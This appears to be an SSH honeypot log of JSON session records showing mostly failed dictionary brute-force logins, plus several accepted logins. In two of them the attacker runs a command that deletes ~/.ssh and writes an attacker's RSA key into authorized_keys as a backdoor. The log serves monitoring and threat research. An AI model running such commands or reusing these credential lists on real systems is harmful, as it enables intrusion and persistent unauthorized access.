Credential acceptance event recorded. Target authentication: user / 3245gs5662d34
{
"id": "f915968bfa6e",
"src_ip": "27.128.240.75",
"start_time": "2026-10-05T22:45:44.896814Z",
"end_time": "2026-10-05T22:45:46.038565Z",
"duration": "1.1",
"version": "SSH-2.0-libssh_0.9.6",
"hassh": "f555226df1963d1d3c09daf865abdc9a",
"attempts": [],
"success_login": true,
"success_credential": {
"user": "user",
"pass": "3245gs5662d34"
},
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 50,
"tags": [
"SUCCESSFUL LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: 345gs5662d34
{
"id": "f1dd90e0f4b0",
"src_ip": "27.128.240.75",
"start_time": "2026-10-05T22:45:42.574823Z",
"end_time": "2026-10-05T22:45:44.716666Z",
"duration": "2.1",
"version": "SSH-2.0-libssh_0.9.6",
"hassh": "f555226df1963d1d3c09daf865abdc9a",
"attempts": [
{
"user": "345gs5662d34",
"pass": "345gs5662d34"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: 5905
{
"id": "530d32c0bdfc",
"src_ip": "109.160.32.175",
"start_time": "2026-10-05T22:45:40.725543Z",
"end_time": "2026-10-05T22:45:47.964815Z",
"duration": "7.2",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "5905",
"pass": "Qq123456."
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Credential acceptance event recorded. Target authentication: user / 12
Remote entity achieved interactive shell state. Command sequence (2 executed):
{
"id": "45df7dac81e9",
"src_ip": "27.128.240.75",
"start_time": "2026-10-05T22:45:40.161897Z",
"end_time": "2026-10-05T22:45:46.041724Z",
"duration": "5.9",
"version": "SSH-2.0-libssh_0.9.6",
"hassh": "f555226df1963d1d3c09daf865abdc9a",
"attempts": [],
"success_login": true,
"success_credential": {
"user": "user",
"pass": "12"
},
"commands": [
"cd ~; chattr -ia .ssh; lockr -ia .ssh",
"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"
],
"detailed_commands": [
{
"cmd": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
"failed": true,
"error": "Command not found: lockr -ia .ssh"
},
{
"cmd": "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~",
"failed": false,
"error": null
}
],
"failed_commands": [
"lockr -ia .ssh"
],
"score": 80,
"tags": [
"SUCCESSFUL LOGIN",
"COMMANDS RUN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: user53
{
"id": "5056e2e87b9c",
"src_ip": "109.160.32.175",
"start_time": "2026-10-05T22:45:34.412722Z",
"end_time": "2026-10-05T22:45:40.683674Z",
"duration": "6.3",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "user53",
"pass": "parol"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: s10lexis
{
"id": "2e2535ca5e8c",
"src_ip": "109.160.32.175",
"start_time": "2026-10-05T22:45:28.603784Z",
"end_time": "2026-10-05T22:45:33.559253Z",
"duration": "5.0",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "s10lexis",
"pass": "operator9"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: anritsu
{
"id": "f918f6939485",
"src_ip": "109.160.32.175",
"start_time": "2026-10-05T22:45:22.595225Z",
"end_time": "2026-10-05T22:45:25.974170Z",
"duration": "3.4",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "anritsu",
"pass": "domino"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: mohamed
{
"id": "c6a6d2f11f6d",
"src_ip": "109.160.32.175",
"start_time": "2026-10-05T22:45:15.834926Z",
"end_time": "2026-10-05T22:45:18.934777Z",
"duration": "3.1",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "mohamed",
"pass": "111290"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: mbarrell
{
"id": "062e08206f7e",
"src_ip": "109.160.32.175",
"start_time": "2026-10-05T22:45:09.396325Z",
"end_time": "2026-10-05T22:45:13.317694Z",
"duration": "3.9",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "mbarrell",
"pass": "iphone"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: mobile
{
"id": "ad1a66447bf7",
"src_ip": "109.160.32.175",
"start_time": "2026-10-05T22:45:03.134586Z",
"end_time": "2026-10-05T22:45:06.448812Z",
"duration": "3.3",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "mobile",
"pass": "superset"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: ies
{
"id": "ca15d183bd64",
"src_ip": "109.160.32.175",
"start_time": "2026-10-05T22:44:57.195385Z",
"end_time": "2026-10-05T22:44:59.758796Z",
"duration": "2.6",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "ies",
"pass": "11223344556677889900"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: cursor
{
"id": "a8492f801161",
"src_ip": "109.160.32.175",
"start_time": "2026-10-05T22:44:50.055850Z",
"end_time": "2026-10-05T22:44:52.674999Z",
"duration": "2.6",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "cursor",
"pass": "stable"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: user55
{
"id": "34898baac953",
"src_ip": "109.160.32.175",
"start_time": "2026-10-05T22:44:42.161781Z",
"end_time": "2026-10-05T22:44:45.726946Z",
"duration": "3.6",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "user55",
"pass": "mahdi"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: a-config-7
{
"id": "c2dfa1c5b5ef",
"src_ip": "109.160.32.175",
"start_time": "2026-10-05T22:44:34.579448Z",
"end_time": "2026-10-05T22:44:39.029131Z",
"duration": "4.4",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "a-config-7",
"pass": "dspace"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Autonomous probing activity normalized. Remote entity established connection but deferred authentication.
{
"id": "5a38f77e785f",
"src_ip": "185.183.94.204",
"start_time": "2026-10-05T22:44:27.461046Z",
"end_time": "2026-10-05T22:44:27.464286Z",
"duration": "0.0",
"version": null,
"hassh": null,
"attempts": [],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": []
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: ftphuang
{
"id": "71be2d3e5622",
"src_ip": "109.160.32.175",
"start_time": "2026-10-05T22:44:26.695209Z",
"end_time": "2026-10-05T22:44:31.600463Z",
"duration": "4.9",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "ftphuang",
"pass": "102030"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: emei
{
"id": "6cc43fc1ee76",
"src_ip": "109.160.32.175",
"start_time": "2026-10-05T22:44:19.438566Z",
"end_time": "2026-10-05T22:44:25.767279Z",
"duration": "6.3",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "emei",
"pass": "lenovo"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: apacheds
{
"id": "ed1225e43e0f",
"src_ip": "109.160.32.175",
"start_time": "2026-10-05T22:44:11.774833Z",
"end_time": "2026-10-05T22:44:18.421641Z",
"duration": "6.6",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "apacheds",
"pass": "admins"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: webadmin
{
"id": "36b4fefd60e9",
"src_ip": "109.160.32.175",
"start_time": "2026-10-05T22:44:04.321495Z",
"end_time": "2026-10-05T22:44:10.501132Z",
"duration": "6.2",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "webadmin",
"pass": "vnc"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: zimbra
{
"id": "c70624c0bb05",
"src_ip": "109.160.32.175",
"start_time": "2026-10-05T22:43:57.844382Z",
"end_time": "2026-10-05T22:44:04.768332Z",
"duration": "6.9",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "zimbra",
"pass": "user!@"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: adam
{
"id": "64af0981ff50",
"src_ip": "109.160.32.175",
"start_time": "2026-10-05T22:43:50.354212Z",
"end_time": "2026-10-05T22:43:57.437126Z",
"duration": "7.1",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "adam",
"pass": "user2"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: at
{
"id": "b8985cb3840f",
"src_ip": "125.21.59.218",
"start_time": "2026-10-05T22:43:49.129151Z",
"end_time": "2026-10-05T22:43:51.699743Z",
"duration": "2.6",
"version": "SSH-2.0-libssh_0.9.6",
"hassh": "f555226df1963d1d3c09daf865abdc9a",
"attempts": [
{
"user": "at",
"pass": "at"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: jarjar_binks
{
"id": "f81b9e6ee552",
"src_ip": "109.160.32.175",
"start_time": "2026-10-05T22:43:44.472804Z",
"end_time": "2026-10-05T22:43:50.242671Z",
"duration": "5.8",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "jarjar_binks",
"pass": "Tech$123"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: leo1
{
"id": "85e47cb38d18",
"src_ip": "109.160.32.175",
"start_time": "2026-10-05T22:43:36.985744Z",
"end_time": "2026-10-05T22:43:43.334754Z",
"duration": "6.3",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "leo1",
"pass": "prefect"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: kernhr
{
"id": "6ea688af33c7",
"src_ip": "109.160.32.175",
"start_time": "2026-10-05T22:43:30.757519Z",
"end_time": "2026-10-05T22:43:36.445496Z",
"duration": "5.7",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "kernhr",
"pass": "tiger"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: amandabackup
{
"id": "fc53206d90d6",
"src_ip": "109.160.32.175",
"start_time": "2026-10-05T22:43:23.633263Z",
"end_time": "2026-10-05T22:43:28.797492Z",
"duration": "5.2",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "amandabackup",
"pass": "kipt"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: столШаблоны
{
"id": "3fdffe2bb304",
"src_ip": "109.160.32.175",
"start_time": "2026-10-05T22:43:16.275551Z",
"end_time": "2026-10-05T22:43:21.301854Z",
"duration": "5.0",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "\u0441\u0442\u043e\u043b\u0428\u0430\u0431\u043b\u043e\u043d\u044b",
"pass": "Pa1828433w0rd"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: superadmin
{
"id": "a1b3cdc911f4",
"src_ip": "109.160.32.175",
"start_time": "2026-10-05T22:43:10.075801Z",
"end_time": "2026-10-05T22:43:13.246656Z",
"duration": "3.2",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "superadmin",
"pass": "ec2-user"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: SJ17
{
"id": "587e5db62d89",
"src_ip": "109.160.32.175",
"start_time": "2026-10-05T22:43:01.602383Z",
"end_time": "2026-10-05T22:43:06.107724Z",
"duration": "4.5",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "SJ17",
"pass": "etl@1234"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Credential acceptance event recorded. Target authentication: root / 3245gs5662d34
{
"id": "a9f9f52d999a",
"src_ip": "14.177.234.46",
"start_time": "2026-10-05T22:43:00.528453Z",
"end_time": "2026-10-05T22:43:01.887180Z",
"duration": "1.4",
"version": "SSH-2.0-libssh_0.9.6",
"hassh": "f555226df1963d1d3c09daf865abdc9a",
"attempts": [],
"success_login": true,
"success_credential": {
"user": "root",
"pass": "3245gs5662d34"
},
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 50,
"tags": [
"SUCCESSFUL LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: 345gs5662d34
{
"id": "52bfa7fa2f8d",
"src_ip": "14.177.234.46",
"start_time": "2026-10-05T22:42:57.938958Z",
"end_time": "2026-10-05T22:43:00.313767Z",
"duration": "2.4",
"version": "SSH-2.0-libssh_0.9.6",
"hassh": "f555226df1963d1d3c09daf865abdc9a",
"attempts": [
{
"user": "345gs5662d34",
"pass": "345gs5662d34"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Credential acceptance event recorded. Target authentication: root / Xc123456
Remote entity achieved interactive shell state. Command sequence (2 executed):
{
"id": "d3113a649a2f",
"src_ip": "14.177.234.46",
"start_time": "2026-10-05T22:42:55.198858Z",
"end_time": "2026-10-05T22:43:01.890294Z",
"duration": "6.7",
"version": "SSH-2.0-libssh_0.9.6",
"hassh": "f555226df1963d1d3c09daf865abdc9a",
"attempts": [],
"success_login": true,
"success_credential": {
"user": "root",
"pass": "Xc123456"
},
"commands": [
"cd ~; chattr -ia .ssh; lockr -ia .ssh",
"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"
],
"detailed_commands": [
{
"cmd": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
"failed": true,
"error": "Command not found: lockr -ia .ssh"
},
{
"cmd": "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~",
"failed": false,
"error": null
}
],
"failed_commands": [
"lockr -ia .ssh"
],
"score": 80,
"tags": [
"SUCCESSFUL LOGIN",
"COMMANDS RUN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: spamd
{
"id": "4284a82b5900",
"src_ip": "109.160.32.175",
"start_time": "2026-10-05T22:42:53.539026Z",
"end_time": "2026-10-05T22:42:59.371905Z",
"duration": "5.8",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "spamd",
"pass": "phuvanduc"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: user74
{
"id": "e2f1dd91c3a9",
"src_ip": "109.160.32.175",
"start_time": "2026-10-05T22:42:47.566083Z",
"end_time": "2026-10-05T22:42:52.152772Z",
"duration": "4.6",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "user74",
"pass": "="
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: cs221
{
"id": "462eaebcd74f",
"src_ip": "109.160.32.175",
"start_time": "2026-10-05T22:42:39.987255Z",
"end_time": "2026-10-05T22:42:45.484423Z",
"duration": "5.5",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "cs221",
"pass": "oracle"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: lvjianfei
{
"id": "8a30645e7cdf",
"src_ip": "109.160.32.175",
"start_time": "2026-10-05T22:42:33.081789Z",
"end_time": "2026-10-05T22:42:37.911026Z",
"duration": "4.8",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "lvjianfei",
"pass": "arm"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: octa
{
"id": "e497ec0a74c9",
"src_ip": "109.160.32.175",
"start_time": "2026-10-05T22:42:26.645808Z",
"end_time": "2026-10-05T22:42:30.531801Z",
"duration": "3.9",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "octa",
"pass": "cheng123"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: debian
{
"id": "b46cc4bf8974",
"src_ip": "58.221.60.25",
"start_time": "2026-10-05T22:42:18.818221Z",
"end_time": "2026-10-05T22:42:24.042205Z",
"duration": "5.2",
"version": "SSH-2.0-libssh_0.11.1",
"hassh": "03a80b21afa810682a776a7d42e5e6fb",
"attempts": [
{
"user": "debian",
"pass": "test123"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: default
{
"id": "1d399c505a8c",
"src_ip": "109.160.32.175",
"start_time": "2026-10-05T22:42:17.759453Z",
"end_time": "2026-10-05T22:42:23.294659Z",
"duration": "5.5",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "default",
"pass": "ZAQ!xsw2"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: cs603
{
"id": "724c623bc8eb",
"src_ip": "109.160.32.175",
"start_time": "2026-10-05T22:42:11.836341Z",
"end_time": "2026-10-05T22:42:16.277946Z",
"duration": "4.4",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "cs603",
"pass": "z@123456"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: user0
{
"id": "2d90739829f5",
"src_ip": "109.160.32.175",
"start_time": "2026-10-05T22:42:04.368758Z",
"end_time": "2026-10-05T22:42:08.224009Z",
"duration": "3.9",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "user0",
"pass": "djangouser"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: aunt
{
"id": "b663284257bc",
"src_ip": "109.160.32.175",
"start_time": "2026-10-05T22:41:56.492402Z",
"end_time": "2026-10-05T22:42:02.701804Z",
"duration": "6.2",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "aunt",
"pass": "lighthouse123"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: vpcuser
{
"id": "66836f03869c",
"src_ip": "109.160.32.175",
"start_time": "2026-10-05T22:41:47.826103Z",
"end_time": "2026-10-05T22:41:54.219061Z",
"duration": "6.4",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "vpcuser",
"pass": "000000000"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: saida
{
"id": "f00d2093fa4f",
"src_ip": "109.160.32.175",
"start_time": "2026-10-05T22:41:42.379427Z",
"end_time": "2026-10-05T22:41:47.518121Z",
"duration": "5.1",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "saida",
"pass": "linux"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
}Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: george
{
"id": "7d083fc18d23",
"src_ip": "109.160.32.175",
"start_time": "2026-10-05T22:41:34.059909Z",
"end_time": "2026-10-05T22:41:39.862819Z",
"duration": "5.8",
"version": "SSH-2.0-Go",
"hassh": "0a07365cc01fa9fc82608ba4019af499",
"attempts": [
{
"user": "george",
"pass": "g"
}
],
"success_login": false,
"success_credential": null,
"commands": [],
"detailed_commands": [],
"failed_commands": [],
"score": 0,
"tags": [
"FAILED LOGIN"
]
